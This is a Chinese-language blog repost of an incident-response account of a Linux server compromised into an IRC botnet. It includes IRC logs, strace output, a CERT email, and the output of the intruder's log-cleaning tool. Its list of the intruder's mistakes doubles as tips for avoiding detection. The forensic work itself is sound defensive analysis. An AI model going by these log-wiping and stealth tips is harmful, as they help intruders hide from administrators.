    :irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW
    :irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW
    :irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW
    :irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW
    :irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW
    :irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..
    :irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW
    :irc.powertech.no 315 578PAB9NB #aik :End of WHO list.
 
这些仅仅是加入#aik频道,并开始监听该频道所有成员的一些原始网络流量.我决定自己进入这个频道看看.令我惊讶的是不需要任何密码我就进来了.
 
    17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik
    17:43 [Users #aik]
    17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ]
    17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz]
    17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]
    17:43 -!- Irssi: Join to #aik was synced in 1 secs

我发现我朋友的服务器使用的昵称是”578PQB9NB”,还有一些其他的服务器也在这里.这些僵尸服务器应该是正在等待着我们的入侵者加入频道发布命令.或者他已经潜藏在这里了.我注意到,所有的昵称都有一个后缀”\*-GTW”,只有一个没有:

    17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]
    17:45 [powertech] -!-  ircname  : LaPi@IRCNet
    17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl
    #pingwinaria #hattrick #trade #admin @#!sh
    17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/]

这是唯一一个加入了多个频道的昵称.我猜我已经找到这个入侵者了,除非这是一个故意迷惑的诱饵.(恩,这个入侵者真的真么笨!!这么容易就找到了!?).我决定等几天看看有木有什么有趣的事情发生.这个域名解析到了:

    $ dig +short campus19.panorama.sth.ac.at
    193.170.51.84

根据RIPE的数据,这个ip属于Vienna University计算机中心,我发了一封邮件询问关于这个域名的信息,他们几个小时后会我了:

    From: Alexander Talos via RT
    To: larstra@ifi.uio.no
    Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603]
    Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)
    Reply-To: cert@aco.net
 
    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
 
    Hej!
 
    On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:
 
    > I have been tracking down cracker which connected from
    > campus19.panorama.sth.ac.at (193.170.51.84). The user, which
 
    Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all
    behind a NAT gateway - it will be very hard to get hold of the
    miscreant.
 
    This incident will, in the long run, definitely help me getting
    rid of the NAT boxes in setups like that, but right now, we will
    have to make do with what we have.
 
    > Please investigate the host in question. Perhaps is this a
    > compromised host on your network acting as a jumpstation for
 
    Sure, and even in a NATed environment, this is still possible.
 
    Btw, you did a great job in analysing the compromised machine!
 
    I'll let you know when I have either further questions or any
    interesting results.
 
    Cheers,
 
    Alexander Talos
 
    - --
    IT-Security, Universitaet Wien, ACOnet CERT
 
    T: +43-1-4277-14351  M: +43-664-60277-14351

看起来我不够幸运.
接下来我曾尝试连接irc频道里其他僵尸主机的 54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口.
连接到”83.18.74.235″的流量看起来很混乱.只好再次用strace命令:

    root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace

跟预期的一样,有很多输出,其中一个是它尝试启动”BitchX”,这是一个irc客户端.但是失败了,因为BitchX没有安装:

    [pid  7537] write(2, "sh: ", 4)         = 4
    [pid  7537] write(2, "BitchX: not found", 17) = 17
    [pid  7537] write(2, "n", 1)           = 1
    [pid  7537] close(2)                    = 0

下面的截图是tcpdump抓到流量的一部分:



这仅仅是两个假的smbd进程中的一个.另外一个也连到了两个irc服务器,一个是波兰这个,另外一个是”irc.hitos.no”,位于挪威的特罗姆斯郡.
入侵者除了这些,还运行了一个叫”hide”的脚本来清除日志:

    root@server1:/usr/lib/libsh# ./hide +
    Linux Hider v2.0 by mave
    enhanced by me!
    [+] [Shkupi Logcleaner] Removing + from the logs........ .
 
    [+] /var/log/messages  ... [done]
 
    [+] /var/run/utmp      ... [done]
 
    [+] /var/log/lastlog   ... [done]
 
    [+] /var/log/wtmp      ... [done]
 
    * m i s s i o n  a c c o m p l i s h e d *
 
    p.h.e.e.r  S.H.c.r.e.w

那么这个入侵者为什么还要把”/var/log/”目录全删除了呢,是不相信这个工具么?还是他特别害怕?
可以看到这个服务器被入侵了,安装了后门而且加入了僵尸网咯.但是入侵者犯了几个错误导致他可能被侦查到:
1, 忘记清除”.bash_history”文件
2, “/var/log”目录下所有文件都删除了.导致某些程序无法启动.很容易被发现.
3, 修改了root的密码.又是一个愚蠢的行为.永远不要修改root密码,这个必然会引起管理员的注意.
4, irc的频道没有密码保护.虽然即使有密码,我们也可以抓包分析出来.
5, 入侵者平时就在僵尸网络的频道闲逛?如果是这样的话那他已经暴露了.
当然还有几个遗留的问题:
1,”ssh ftp@62.101.251.166″ 这个命令是干嘛的.是入侵者不小心敲错了么还是有其他的目的?

      $ dig +short -x 62.101.251.166
      cA6FB653E.dhcp.bluecom.no.

2,跟83.18.74.235(manhattan.na.pl)的通讯内容是什么?
3,最重要的问题是他一开始是如何或得下系统的权限的?这个服务器运行的是Ubuntu 6.06 LTS,打了最新的补丁.可能入侵的途径:
*猜测root密码,不幸的是这个密码是强密码*
*未知的exploit*
*某个用户在已经被攻陷的主机上登录这台服务器.入侵者嗅探到了密码.*
原文地址

 

posted @ 2014-08-06 17:45  陳聽溪  阅读(1023)  评论(0)    收藏  举报